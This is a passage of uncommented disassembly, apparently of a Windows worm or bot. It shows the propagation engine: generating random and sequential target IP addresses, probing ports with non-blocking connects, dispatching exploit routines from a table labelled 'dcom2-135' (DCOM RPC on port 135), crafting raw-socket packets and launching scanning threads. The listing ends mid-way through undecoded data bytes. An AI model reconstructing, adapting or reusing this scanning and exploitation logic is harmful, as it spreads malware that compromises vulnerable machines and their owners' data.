[ebp+var_204], eax mov eax, [ebp+var_204] mov dword ptr [eax+128h], 1 lea eax, [ebp+var_330] push eax call dword_4E1740 ; inet_addr mov [ebp+var_33C], eax and [ebp+var_334], 0 and [ebp+var_338], 0 jmp short loc_40DF86 ; --------------------------------------------------------------------------- loc_40DF79: ; CODE XREF: sub_40DF24:loc_40E121j mov eax, [ebp+var_338] inc eax mov [ebp+var_338], eax loc_40DF86: ; CODE XREF: sub_40DF24+53j mov eax, [ebp+var_338] shl eax, 6 cmp dword_448FE8[eax], 0 jz loc_40E126 push [ebp+var_218] mov eax, [ebp+var_338] shl eax, 6 push dword_448FE8[eax] push [ebp+var_33C] call sub_40E8AF add esp, 0Ch cmp eax, 1 jnz loc_40E121 mov eax, [ebp+var_338] shl eax, 6 push dword_448FE8[eax] lea eax, [ebp+var_330] push eax mov eax, [ebp+var_338] shl eax, 6 add eax, offset aDcom2135_0 ; "Dcom2-135" push eax push offset unk_449468 lea eax, [ebp+var_200] push eax call sub_4219C0 add esp, 14h push 0 push [ebp+var_210] lea eax, [ebp+var_200] push eax lea eax, [ebp+var_320] push eax push [ebp+var_220] call sub_40B00F add esp, 14h lea eax, [ebp+var_200] push eax call sub_4173DC pop ecx lea eax, [ebp+var_330] push eax lea eax, [ebp+var_3F4] push eax call sub_4219C0 pop ecx pop ecx mov eax, [ebp+var_338] shl eax, 6 add eax, offset aDcom2135 ; "dcom2-135" push eax lea eax, [ebp+var_364] push eax call sub_4219C0 pop ecx pop ecx movsx eax, [ebp+var_2A0] test eax, eax jz short loc_40E086 lea eax, [ebp+var_2A0] push eax lea eax, [ebp+var_3E4] push eax call sub_4219C0 pop ecx pop ecx jmp short loc_40E09B ; --------------------------------------------------------------------------- loc_40E086: ; CODE XREF: sub_40DF24+149j lea eax, [ebp+var_320] push eax lea eax, [ebp+var_3E4] push eax call sub_4219C0 pop ecx pop ecx loc_40E09B: ; CODE XREF: sub_40DF24+160j mov eax, [ebp+var_220] mov [ebp+var_3F8], eax mov eax, [ebp+var_210] mov [ebp+var_348], eax mov eax, [ebp+var_20C] mov [ebp+var_344], eax mov eax, [ebp+var_338] shl eax, 6 mov eax, dword_448FE8[eax] mov [ebp+var_358], eax mov eax, [ebp+var_214] mov [ebp+var_354], eax mov eax, [ebp+var_338] mov [ebp+var_350], eax sub esp, 0BCh push 2Fh pop ecx lea esi, [ebp+var_3F8] mov edi, esp rep movsd mov eax, [ebp+var_338] shl eax, 6 call off_448FEC[eax] add esp, 0BCh mov eax, [ebp+var_334] inc eax mov [ebp+var_334], eax loc_40E121: ; CODE XREF: sub_40DF24+9Ej jmp loc_40DF79 ; --------------------------------------------------------------------------- loc_40E126: ; CODE XREF: sub_40DF24+72j push [ebp+var_334] lea eax, [ebp+var_330] push eax push offset unk_449498 lea eax, [ebp+var_200] push eax call sub_4219C0 add esp, 10h push 0 push [ebp+var_210] lea eax, [ebp+var_200] push eax lea eax, [ebp+var_320] push eax push [ebp+var_220] call sub_40B00F add esp, 14h lea eax, [ebp+var_200] push eax call sub_4173DC pop ecx push [ebp+var_214] call sub_40D802 pop ecx push 0 nop call near ptr 2800000h pop edi pop esi leave retn 4 sub_40DF24 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E192 proc near ; CODE XREF: sub_4021E5+3580p var_204 = dword ptr -204h var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 204h push 0Bh call sub_40D6D9 pop ecx test eax, eax jle short loc_40E1DA mov eax, [ebp+arg_C] mov eax, dword_4E1860[eax*8] mov [ebp+var_204], eax push [ebp+var_204] call dword_4E178C ; inet_ntoa push eax push offset unk_4494CC lea eax, [ebp+var_200] push eax call sub_4219C0 add esp, 0Ch jmp short loc_40E1ED ; --------------------------------------------------------------------------- loc_40E1DA: ; CODE XREF: sub_40E192+13j push offset dword_4494E8 lea eax, [ebp+var_200] push eax call sub_4219C0 pop ecx pop ecx loc_40E1ED: ; CODE XREF: sub_40E192+46j push 0 push [ebp+arg_8] lea eax, [ebp+var_200] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40B00F add esp, 14h lea eax, [ebp+var_200] push eax call sub_4173DC pop ecx leave retn sub_40E192 endp ; --------------------------------------------------------------------------- dw 8B55h dd 8EC81ECh, 83000002h, 138BDh, 840FFF00h, 56Ch, 138858Bh dd 0E0C10000h, 0F4B88306h, 448Fh, 556840Fh, 56A0000h, 0FFF490E8h dd 0C08559FFh, 29C850Fh, 78A10000h, 0A3004410h, 4E3B2Ch dd 3B282583h, 6800004Eh, 104h, 4E391C68h, 0E8006A00h, 2381D8Ch dd 1036890h, 0E8680000h, 68004410h, 4E3A20h, 131E7E8h dd 0CC48300h, 118858Bh, 18A30000h, 8B004E39h, 14085h, 3BB0A300h dd 0BE0F004Eh, 9885h, 75C08500h, 8D7F6A1Fh, 68501845h dd 4E3B30h, 131B3E8h, 0CC48300h, 3BB405C7h, 1004Eh, 1DEB0000h dd 858D7F6Ah, 98h, 3B306850h, 91E8004Eh, 83000131h, 25830CC4h dd 4E3BB4h, 391C6800h, 35FF004Eh, 4E3B2Ch, 44950868h, 858D00h dd 50FFFFFEh, 136BBE8h, 10C48300h, 56A006Ah, 0FE00858Dh dd 0E850FFFFh, 0FFFFF012h, 0A30CC483h, 4E3B24h, 0FDFC858Dh dd 6A50FFFFh, 39186800h, 0D468004Eh, 6A00416Bh, 90006A00h dd 391E2CE8h, 240D8B02h, 69004E3Bh, 234C9h, 2C818900h dd 0A1004546h, 4E3B24h, 234C069h, 0B8830000h, 45462Ch db 0, 74h, 15h ; --------------------------------------------------------------------------- loc_40E363: ; CODE XREF: .XComp0:0040E374j cmp dword_4E3BB8, 0 jnz short loc_40E376 push 32h call near ptr 27A0000h nop jmp short loc_40E363 ; --------------------------------------------------------------------------- loc_40E376: ; CODE XREF: .XComp0:0040E36Aj jmp short loc_40E393 ; --------------------------------------------------------------------------- db 90h db 2 dup(0E8h), 26h ; --------------------------------------------------------------------------- cmp [edx], eax push eax push offset unk_44953C lea eax, [ebp-200h] push eax call sub_4219C0 add esp, 0Ch loc_40E393: ; CODE XREF: .XComp0:loc_40E376j lea eax, [ebp-200h] push eax call sub_4173DC pop ecx mov eax, dword_4E1418 mov dword_4E3DD4, eax and dword_4E3DD0, 0 push 104h push offset dword_4E3BC4 push 0 nop call near ptr 2790000h push 103h push offset byte_4410E8 push offset dword_4E3CC8 call sub_421470 add esp, 0Ch mov eax, [ebp+118h] mov dword_4E3BC0, eax mov eax, [ebp+140h] mov dword_4E3E58, eax movsx eax, byte ptr [ebp+98h] test eax, eax jnz short loc_40E41A push 7Fh lea eax, [ebp+18h] push eax push offset dword_4E3DD8 call sub_421470 add esp, 0Ch mov dword_4E3E5C, 1 jmp short loc_40E437 ; --------------------------------------------------------------------------- loc_40E41A: ; CODE XREF: .XComp0:0040E3F9j push 7Fh lea eax, [ebp+98h] push eax push offset dword_4E3DD8 call sub_421470 add esp, 0Ch and dword_4E3E5C, 0 loc_40E437: ; CODE XREF: .XComp0:0040E418j push offset dword_4E3BC4 push dword_4E3DD4 push offset unk_449570 lea eax, [ebp-200h] push eax call sub_4219C0 add esp, 10h push 0 push 4 lea eax, [ebp-200h] push eax call sub_40D32A add esp, 0Ch mov dword_4E3DCC, eax lea eax, [ebp-204h] push eax push 0 push offset dword_4E3BC0 push offset dword_413AA4 push 0 push 0 nop call near ptr 27A0169h mov ecx, dword_4E3DCC imul ecx, 234h mov dword_45462C[ecx], eax mov eax, dword_4E3DCC imul eax, 234h cmp dword_45462C[eax], 0 jz short loc_40E4C6 loc_40E4B1: ; CODE XREF: .XComp0:0040E4C2j cmp dword_4E3E60, 0 jnz short loc_40E4C4 push 32h nop call near ptr 27A0000h jmp short loc_40E4B1 ; --------------------------------------------------------------------------- loc_40E4C4: ; CODE XREF: .XComp0:0040E4B8j jmp short loc_40E4E1 ; --------------------------------------------------------------------------- loc_40E4C6: ; CODE XREF: .XComp0:0040E4AFj nop call near ptr 27A0A66h push eax push offset unk_4495A4 lea eax, [ebp-200h] push eax call sub_4219C0 add esp, 0Ch loc_40E4E1: ; CODE XREF: .XComp0:loc_40E4C4j lea eax, [ebp-200h] push eax call sub_4173DC pop ecx mov eax, [ebp+138h] shl eax, 6 cmp dword_448FFC[eax], 0 jz loc_40E634 push 7 call sub_40D6D9 pop ecx test eax, eax jnz loc_40E634 mov eax, dword_4E4588 mov dword_4E3884, eax and dword_4E3880, 0 mov eax, [ebp+118h] mov dword_4E3878, eax mov eax, [ebp+140h] mov dword_4E3908, eax movsx eax, byte ptr [ebp+98h] test eax, eax jnz short loc_40E565 push 7Fh lea eax, [ebp+18h] push eax push offset dword_4E3888 call sub_421470 add esp, 0Ch mov dword_4E390C, 1 jmp short loc_40E582 ; --------------------------------------------------------------------------- loc_40E565: ; CODE XREF: .XComp0:0040E544j push 7Fh lea eax, [ebp+98h] push eax push offset dword_4E3888 call sub_421470 add esp, 0Ch and dword_4E390C, 0 loc_40E582: ; CODE XREF: .XComp0:0040E563j push dword_4E3884 push offset unk_4495D8 lea eax, [ebp-200h] push eax call sub_4219C0 add esp, 0Ch push 0 push 7 lea eax, [ebp-200h] push eax call sub_40D32A add esp, 0Ch mov dword_4E387C, eax lea eax, [ebp-204h] push eax push 0 push offset dword_4E3878 push offset byte_41376D push 0 push 0 call near ptr 27A0169h nop mov ecx, dword_4E387C imul ecx, 234h mov dword_45462C[ecx], eax mov eax, dword_4E387C imul eax, 234h cmp dword_45462C[eax], 0 jz short loc_40E60C loc_40E5F7: ; CODE XREF: .XComp0:0040E608j cmp dword_4E3910, 0 jnz short loc_40E60A push 32h nop call near ptr 27A0000h jmp short loc_40E5F7 ; --------------------------------------------------------------------------- loc_40E60A: ; CODE XREF: .XComp0:0040E5FEj jmp short loc_40E627 ; --------------------------------------------------------------------------- loc_40E60C: ; CODE XREF: .XComp0:0040E5F5j nop call near ptr 27A0A66h push eax push offset unk_449608 lea eax, [ebp-200h] push eax call sub_4219C0 add esp, 0Ch loc_40E627: ; CODE XREF: .XComp0:loc_40E60Aj lea eax, [ebp-200h] push eax call sub_4173DC pop ecx loc_40E634: ; CODE XREF: .XComp0:0040E4FEj ; .XComp0:0040E50Ej mov eax, [ebp+138h] shl eax, 6 cmp dword_448FF8[eax], 0 jz locret_40E798 push 3 call sub_40D6D9 pop ecx test eax, eax jnz locret_40E798 push 104h push offset dword_4E40F4 push 0 nop call near ptr 2790000h push 5Ch push offset dword_4E40F4 call sub_422510 pop ecx pop ecx mov [ebp-208h], eax cmp dword ptr [ebp-208h], 0 jz short loc_40E692 mov eax, [ebp-208h] and byte ptr [eax], 0 loc_40E692: ; CODE XREF: .XComp0:0040E687j mov eax, dword_44107C mov dword_4E41F8, eax and dword_4E420C, 0 lea eax, [ebp+18h] push eax push offset dword_4E3E6C call sub_4219C0 pop ecx pop ecx mov eax, [ebp+118h] mov dword_4E3E68, eax mov eax, [ebp+140h] mov dword_4E4204, eax mov eax, [ebp+144h] mov dword_4E4208, eax push offset dword_4E40F4 push dword_4E41F8 push dword ptr [ebp+118h] call sub_40C86E pop ecx push eax push offset unk_449640 lea eax, [ebp-200h] push eax call sub_4219C0 add esp, 14h push 0 push 3 lea eax, [ebp-200h] push eax call sub_40D32A add esp, 0Ch mov dword_4E4200, eax lea eax, [ebp-204h] push eax push 0 push offset dword_4E3E68 push offset sub_4144BD push 0 push 0 nop call near ptr 27A0169h mov ecx, dword_4E4200 imul ecx, 234h mov dword_45462C[ecx], eax mov eax, dword_4E4200 imul eax, 234h cmp dword_45462C[eax], 0 jz short loc_40E770 loc_40E75B: ; CODE XREF: .XComp0:0040E76Cj cmp dword_4E4214, 0 jnz short loc_40E76E push 32h call near ptr 27A0000h nop jmp short loc_40E75B ; --------------------------------------------------------------------------- loc_40E76E: ; CODE XREF: .XComp0:0040E762j jmp short loc_40E78B ; --------------------------------------------------------------------------- loc_40E770: ; CODE XREF: .XComp0:0040E759j nop call near ptr 27A0A66h push eax push offset unk_44967C lea eax, [ebp-200h] push eax call sub_4219C0 add esp, 0Ch loc_40E78B: ; CODE XREF: .XComp0:loc_40E76Ej lea eax, [ebp-200h] push eax call sub_4173DC pop ecx locret_40E798: ; CODE XREF: .XComp0:0040E644j ; .XComp0:0040E654j leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E79A proc near ; CODE XREF: .XComp0:0040ED4Ap var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push 4 mov eax, [ebp+arg_0] lea eax, ds:4E1860h[eax*8] push eax lea eax, [ebp+var_4] push eax call sub_422B50 add esp, 0Ch push [ebp+var_4] call dword_4E1628 ; ntohl mov [ebp+var_4], eax mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax push [ebp+var_4] call dword_4E16FC ; ntohl mov [ebp+var_4], eax push 4 lea eax, [ebp+var_4] push eax mov eax, [ebp+arg_0] lea eax, ds:4E1860h[eax*8] push eax call sub_422B50 add esp, 0Ch mov eax, [ebp+arg_0] mov eax, dword_4E1860[eax*8] leave retn sub_40E79A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E7FB proc near ; CODE XREF: .XComp0:0040ED29p var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h or [ebp+var_4], 0FFFFFFFFh or [ebp+var_8], 0FFFFFFFFh or [ebp+var_C], 0FFFFFFFFh or [ebp+var_10], 0FFFFFFFFh push [ebp+arg_0] call sub_41EBD0 pop ecx cmp eax, 0Fh jbe short loc_40E826 xor eax, eax jmp locret_40E8AD ; --------------------------------------------------------------------------- loc_40E826: ; CODE XREF: sub_40E7FB+22j lea eax, [ebp+var_10] push eax lea eax, [ebp+var_C] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax push offset aD_D_D_D_0 ; "%d.%d.%d.%d" push [ebp+arg_0] call sub_422E90 add esp, 18h cmp [ebp+var_4], 0FFFFFFFFh jnz short loc_40E854 call sub_421AD0 mov [ebp+var_4], eax loc_40E854: ; CODE XREF: sub_40E7FB+4Fj cmp [ebp+var_8], 0FFFFFFFFh jnz short loc_40E862 call sub_421AD0 mov [ebp+var_8], eax loc_40E862: ; CODE XREF: sub_40E7FB+5Dj cmp [ebp+var_C], 0FFFFFFFFh jnz short loc_40E870 call sub_421AD0 mov [ebp+var_C], eax loc_40E870: ; CODE XREF: sub_40E7FB+6Bj cmp [ebp+var_10], 0FFFFFFFFh jnz short loc_40E87E call sub_421AD0 mov [ebp+var_10], eax loc_40E87E: ; CODE XREF: sub_40E7FB+79j mov eax, [ebp+var_8] shl eax, 8 mov ecx, [ebp+var_4] add ecx, eax mov eax, [ebp+var_C] shl eax, 10h add ecx, eax mov eax, [ebp+var_10] shl eax, 18h add ecx, eax mov eax, [ebp+arg_4] mov dword_4E1860[eax*8], ecx mov eax, [ebp+arg_4] mov eax, dword_4E1860[eax*8] locret_40E8AD: ; CODE XREF: sub_40E7FB+26j leave retn sub_40E7FB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E8AF proc near ; CODE XREF: sub_40DF24+93p ; .XComp0:0040EDCAp ... var_12C = dword ptr -12Ch var_128 = dword ptr -128h var_124 = dword ptr -124h var_120 = dword ptr -120h var_11C = dword ptr -11Ch var_118 = dword ptr -118h var_114 = word ptr -114h var_112 = word ptr -112h var_110 = dword ptr -110h var_104 = dword ptr -104h var_100 = dword ptr -100h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 12Ch mov [ebp+var_124], 1 push 0 push 1 push 2 call dword_4E1780 ; socket mov [ebp+var_128], eax cmp [ebp+var_128], 0FFFFFFFFh jnz short loc_40E8E4 xor eax, eax jmp locret_40EA00 ; --------------------------------------------------------------------------- loc_40E8E4: ; CODE XREF: sub_40E8AF+2Cj mov [ebp+var_114], 2 mov eax, [ebp+arg_0] mov [ebp+var_110], eax push [ebp+arg_4] call dword_4E1700 ; ntohs mov [ebp+var_112], ax lea eax, [ebp+var_124] push eax push 8004667Eh push [ebp+var_128] call dword_4E179C ; ioctlsocket push 10h lea eax, [ebp+var_114] push eax push [ebp+var_128] call dword_4E16A8 ; connect mov eax, [ebp+arg_8] mov [ebp+var_120], eax and [ebp+var_11C], 0 and [ebp+var_104], 0 loc_40E94A: ; CODE XREF: sub_40E8AF+113j and [ebp+var_12C], 0 jmp short loc_40E960 ; --------------------------------------------------------------------------- loc_40E953: ; CODE XREF: sub_40E8AF:loc_40E985j mov eax, [ebp+var_12C] inc eax mov [ebp+var_12C], eax loc_40E960: ; CODE XREF: sub_40E8AF+A2j mov eax, [ebp+var_12C] cmp eax, [ebp+var_104] jnb short loc_40E987 mov eax, [ebp+var_12C] mov eax, [ebp+eax*4+var_100] cmp eax, [ebp+var_128] jnz short loc_40E985 jmp short loc_40E987 ; --------------------------------------------------------------------------- loc_40E985: ; CODE XREF: sub_40E8AF+D2j jmp short loc_40E953 ; --------------------------------------------------------------------------- loc_40E987: ; CODE XREF: sub_40E8AF+BDj ; sub_40E8AF+D4j mov eax, [ebp+var_12C] cmp eax, [ebp+var_104] jnz short loc_40E9BE cmp [ebp+var_104], 40h jnb short loc_40E9BE mov eax, [ebp+var_12C] mov ecx, [ebp+var_128] mov [ebp+eax*4+var_100], ecx mov eax, [ebp+var_104] inc eax mov [ebp+var_104], eax loc_40E9BE: ; CODE XREF: sub_40E8AF+E4j ; sub_40E8AF+EDj xor eax, eax test eax, eax jnz short loc_40E94A lea eax, [ebp+var_120] push eax push 0 lea eax, [ebp+var_104] push eax push 0 push 0 call dword_4E16E8 ; select mov [ebp+var_118], eax push [ebp+var_128] call dword_4E1798 ; closesocket cmp [ebp+var_118], 0 jg short loc_40E9FD xor eax, eax jmp short locret_40EA00 ; --------------------------------------------------------------------------- loc_40E9FD: ; CODE XREF: sub_40E8AF+148j push 1 pop eax locret_40EA00: ; CODE XREF: sub_40E8AF+30j ; sub_40E8AF+14Cj leave retn sub_40E8AF endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp mov eax, 1011Ch call sub_421EE0 mov word ptr [ebp-10044h], 2649h push dword ptr [ebp-10044h] call dword_4E1700 ; ntohs mov [ebp-100F8h], ax push dword ptr [ebp+10h] call dword_4E1700 ; ntohs mov [ebp-100F6h], ax call sub_421AD0 mov [ebp-100F4h], eax and dword ptr [ebp-100F0h], 0 and word ptr [ebp-100ECh], 0 and word ptr [ebp-100DCh], 0 mov word ptr [ebp-100EAh], 5 and word ptr [ebp-100E8h], 0 mov word ptr [ebp-100E6h], 1 and word ptr [ebp-100E4h], 0 and word ptr [ebp-100E2h], 0 and word ptr [ebp-100E0h], 0 and word ptr [ebp-100DEh], 0 push 200h call dword_4E1700 ; ntohs mov [ebp-100DAh], ax and word ptr [ebp-100D8h], 0 and word ptr [ebp-100D6h], 0 mov eax, [ebp+8] mov [ebp-1011Ch], eax mov eax, [ebp+0Ch] mov [ebp-10118h], eax and byte ptr [ebp-10114h], 0 mov byte ptr [ebp-10113h], 6 push 24h call dword_4E1700 ; ntohs mov [ebp-10112h], ax push 24h lea eax, [ebp-100F8h] push eax lea eax, [ebp-10110h] push eax call sub_422B50 add esp, 0Ch push 20h lea eax, [ebp-1011Ch] push eax call sub_40C8C9 pop ecx pop ecx mov [ebp-100D8h], ax push 10h push 0 lea eax, [ebp-100D4h] push eax call sub_421410 add esp, 0Ch mov word ptr [ebp-100D4h], 2 push dword ptr [ebp+10h] call dword_4E1700 ; ntohs mov [ebp-100D2h], ax mov eax, [ebp+0Ch] mov [ebp-100D0h], eax mov dword ptr [ebp-100FCh], 10h push 6 push 3 push 2 call dword_4E1780 ; socket mov [ebp-10040h], eax cmp dword ptr [ebp-10040h], 0FFFFFFFFh jnz short loc_40EB83 push offset aSocketOpenFail ; "socket open failed" call sub_4173DC pop ecx xor eax, eax jmp locret_40EC9D ; --------------------------------------------------------------------------- loc_40EB83: ; CODE XREF: .XComp0:0040EB6Fj push dword ptr [ebp-100FCh] lea eax, [ebp-100D4h] push eax push 0 push 24h lea eax, [ebp-100F8h] push eax push dword ptr [ebp-10040h] call dword_4E1764 ; sendto mov [ebp-1003Ch], eax cmp dword ptr [ebp-1003Ch], 14h jz short loc_40EBF7 call dword_4E1694 ; WSAGetLastError push eax push dword ptr [ebp-1003Ch] push offset aSendtoSocketFa ; "sendto() socket failed. sent = %d <%d>."... lea eax, [ebp-100C4h] push eax call sub_4219C0 add esp, 10h lea eax, [ebp-100C4h] push eax call sub_4173DC pop ecx push dword ptr [ebp-10040h] call dword_4E1798 ; closesocket xor eax, eax jmp locret_40EC9D ; --------------------------------------------------------------------------- loc_40EBF7: ; CODE XREF: .XComp0:0040EBB4j push 10038h push 0 lea eax, [ebp-10038h] push eax call sub_421410 add esp, 0Ch loc_40EC0D: ; CODE XREF: .XComp0:loc_40EC66j movzx eax, word ptr [ebp-10022h] movzx ecx, word ptr [ebp-10044h] cmp eax, ecx jz short loc_40EC68 lea eax, [ebp-100FCh] push eax lea eax, [ebp-100D4h] push eax push 0 push 10038h lea eax, [ebp-10038h] push eax push dword ptr [ebp-10040h] call dword_4E16D8 ; recvfrom test eax, eax jge short loc_40EC66 push offset aRecvfromSocket ; "recvfrom() socket failed" call sub_4173DC pop ecx push dword ptr [ebp-10040h] call dword_4E1798 ; closesocket xor eax, eax jmp short locret_40EC9D ; --------------------------------------------------------------------------- loc_40EC66: ; CODE XREF: .XComp0:0040EC49j jmp short loc_40EC0D ; --------------------------------------------------------------------------- loc_40EC68: ; CODE XREF: .XComp0:0040EC1Dj push dword ptr [ebp-10040h] call dword_4E1798 ; closesocket movzx eax, word ptr [ebp-10012h] cmp eax, 1 jnz short loc_40EC90 push offset aSocketOpen_ ; "Socket open." call sub_4173DC pop ecx push 1 pop eax jmp short locret_40EC9D ; --------------------------------------------------------------------------- loc_40EC90: ; CODE XREF: .XComp0:0040EC7Ej push offset aSocketClosed_ ; "Socket closed." call sub_4173DC pop ecx xor eax, eax locret_40EC9D: ; CODE XREF: .XComp0:0040EB7Ej ; .XComp0:0040EBF2j ... leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 29Ch push esi push edi mov esi, [ebp+8] push 53h pop ecx lea edi, [ebp-150h] rep movsd mov eax, [ebp+8] mov [ebp-4], eax mov eax, [ebp-4] mov dword ptr [eax+148h], 1 mov eax, [ebp-2Ch] mov [ebp-1DCh], eax mov eax, [ebp-28h] mov [ebp-154h], eax nop call near ptr 27B0DBCh push eax call sub_421AC0 pop ecx loc_40ECEA: ; CODE XREF: .XComp0:0040EF55j mov eax, [ebp-1DCh] imul eax, 234h mov eax, dword_45461C[eax] cmp dword_4E1864[eax*8], 0 jz loc_40EF5A cmp dword ptr [ebp-10h], 0 jz short loc_40ED38 mov eax, [ebp-1DCh] imul eax, 234h push dword_45461C[eax] lea eax, [ebp-150h] push eax call sub_40E7FB pop ecx pop ecx mov [ebp-1E0h], eax jmp short loc_40ED56 ; --------------------------------------------------------------------------- loc_40ED38: ; CODE XREF: .XComp0:0040ED0Ej mov eax, [ebp-1DCh] imul eax, 234h push dword_45461C[eax] call sub_40E79A pop ecx mov [ebp-1E0h], eax loc_40ED56: ; CODE XREF: .XComp0:0040ED36j mov eax, [ebp-1E0h] mov [ebp-158h], eax push dword ptr [ebp-154h] mov eax, [ebp-1DCh] imul eax, 234h push dword_45461C[eax] push dword ptr [ebp-3Ch] push dword ptr [ebp-158h] call dword_4E178C ; inet_ntoa push eax push offset unk_449734 lea eax, [ebp-1D8h] push eax call sub_4219C0 add esp, 18h lea eax, [ebp-1D8h] push eax mov eax, [ebp-1DCh] imul eax, 234h add eax, offset byte_454418 push eax call sub_4219C0 pop ecx pop ecx push dword ptr [ebp-38h] push dword ptr [ebp-3Ch] push dword ptr [ebp-1E0h] call sub_40E8AF add esp, 0Ch cmp eax, 1 jnz loc_40EF4A cmp dword ptr [ebp-20h], 0FFFFFFFFh jnz loc_40EE80 push offset dword_4E3860 nop call near ptr 7C901005h push dword ptr [ebp-3Ch] push dword ptr [ebp-158h] call dword_4E178C ; inet_ntoa push eax push offset dword_44976C lea eax, [ebp-1D8h] push eax call sub_4219C0 add esp, 10h cmp dword ptr [ebp-14h], 0 jnz short loc_40EE63 movsx eax, byte ptr [ebp-0C0h] test eax, eax jz short loc_40EE45 push 1 push dword ptr [ebp-18h] lea eax, [ebp-1D8h] push eax lea eax, [ebp-0C0h] push eax push dword ptr [ebp-40h] call sub_40B00F add esp, 14h jmp short loc_40EE63 ; --------------------------------------------------------------------------- loc_40EE45: ; CODE XREF: .XComp0:0040EE23j push 1 push dword ptr [ebp-18h] lea eax, [ebp-1D8h] push eax lea eax, [ebp-140h] push eax push dword ptr [ebp-40h] call sub_40B00F add esp, 14h loc_40EE63: ; CODE XREF: .XComp0:0040EE18j ; .XComp0:0040EE43j lea eax, [ebp-1D8h] push eax call sub_4173DC pop ecx push offset dword_4E3860 nop call near ptr 7C9010EDh jmp loc_40EF4A ; --------------------------------------------------------------------------- loc_40EE80: ; CODE XREF: .XComp0:0040EDDFj push dword ptr [ebp-158h] call dword_4E178C ; inet_ntoa push eax lea eax, [ebp-298h] push eax call sub_4219C0 pop ecx pop ecx mov eax, [ebp-20h] shl eax, 6 add eax, offset aDcom2135 ; "dcom2-135" push eax lea eax, [ebp-208h] push eax call sub_4219C0 pop ecx pop ecx movsx eax, byte ptr [ebp-0C0h] test eax, eax jz short loc_40EED7 lea eax, [ebp-0C0h] push eax lea eax, [ebp-288h] push eax call sub_4219C0 pop ecx pop ecx jmp short loc_40EEEC ; --------------------------------------------------------------------------- loc_40EED7: ; CODE XREF: .XComp0:0040EEBEj lea eax, [ebp-140h] push eax lea eax, [ebp-288h] push eax call sub_4219C0 pop ecx pop ecx loc_40EEEC: ; CODE XREF: .XComp0:0040EED5j mov eax, [ebp-40h] mov [ebp-29Ch], eax mov eax, [ebp-18h] mov [ebp-1ECh], eax mov eax, [ebp-14h] mov [ebp-1E8h], eax mov eax, [ebp-3Ch] mov [ebp-1FCh], eax mov eax, [ebp-1DCh] mov [ebp-1F8h], eax mov eax, [ebp-20h] mov [ebp-1F4h], eax sub esp, 0BCh push 2Fh pop ecx lea esi, [ebp-29Ch] mov edi, esp rep movsd mov eax, [ebp-20h] shl eax, 6 call off_448FEC[eax] add esp, 0BCh loc_40EF4A: ; CODE XREF: .XComp0:0040EDD5j ; .XComp0:0040EE7Bj push 7D0h nop call near ptr 27A0000h jmp loc_40ECEA ; --------------------------------------------------------------------------- loc_40EF5A: ; CODE XREF: .XComp0:0040ED04j push dword ptr [ebp-1DCh] call sub_40D802 pop ecx push 0 nop call near ptr 2800000h pop edi pop esi leave retn 4 ; --------------------------------------------------------------------------- dword_40EF74 dd 81EC8B55h, 1D8ECh, 8B575600h, 536A0875h, 0B0BD8D59h ; DATA XREF: sub_4021E5+3F10o ; sub_4021E5+85A5o dd 0F3FFFFFEh, 8458BA5h, 8BFC4589h, 80C7FC45h, 144h, 1 dd 0FEB0858Dh, 0FF50FFFFh, 4E174015h, 0D04D8B00h, 60CD0489h dd 81004E18h, 14CECh, 59536A00h, 0FEB0B58Dh, 0FC8BFFFFh dd 47E8A5F3h, 81FFFFF2h, 14CC4h, 0E80B6A00h, 0FFFFE6FDh dd 1F88359h, 60686A75h, 0E8004E38h, 23F1927h, 4006890h dd 60688000h, 90004E38h, 3F171FE8h, 75C08502h, 9794684Bh dd 858D0044h, 0FFFFFE28h, 29AEE850h, 59590001h, 0EC7D83h dd 6A1E75h, 8DE875FFh, 0FFFE2885h, 858D50FFh, 0FFFFFEC0h dd 0C075FF50h, 0FFBFDAE8h, 14C483FFh, 0FE28858Dh, 0E850FFFFh dd 8398h, 0E9C03359h, 1E6h, 0C7D0458Bh, 1864C504h, 1004Eh dd 85C70000h, 0FFFFFEA8h, 1, 858B0DEBh, 0FFFFFEA8h, 0A8858940h dd 8BFFFFFEh, 0FFFEA885h, 0DC453BFFh, 0D7870Fh, 858B0000h dd 0FFFFFEA8h, 0FFD84589h, 75FFD875h, 0C475FFD0h, 0FEB0858Dh dd 6850FFFFh, 4497C8h, 0FE28858Dh, 0E850FFFFh, 12914h dd 6A18C483h, 8D0B6A00h, 0FFFE2885h, 6BE850FFh, 83FFFFE2h dd 45890CC4h, 0D4458BD4h, 234C069h, 4D8B0000h, 1C8889D0h dd 6A004546h, 8D006A00h, 0FFFEB085h, 9F6850FFh, 6A0040ECh dd 90006A00h, 391078E8h, 0D44D8B02h, 234C969h, 81890000h dd 45462Ch, 69D4458Bh, 234C0h, 2CB88300h, 4546h, 7D831274h dd 0A7500F8h, 0E8901E6Ah, 2390EE0h, 28EBF0EBh, 39193DE8h dd 68509002h, 4497FCh, 0FE28858Dh, 0E850FFFFh, 12884h dd 8D0CC483h, 0FFFE2885h, 91E850FFh, 59000082h, 0E8901E6Ah dd 2390EACh, 0FFFF0DE9h, 0CC7D83FFh, 8B127400h, 0C069CC45h dd 0EA60h, 0E92E850h, 0EB900239h, 0D0458B1Ah, 64C53C83h dd 1004E18h, 0D0680D75h, 90000007h, 390E77E8h, 8BE6EB02h dd 48BD045h, 4E1860C5h, 0AC858900h, 0FFFFFFFEh, 75FFCC75h dd 0ACB5FFC4h, 0FFFFFFFEh, 4E178C15h, 34685000h, 8D004498h dd 0FFFE2885h, 1E850FFh, 83000128h, 7D8314C4h, 1E7500ECh dd 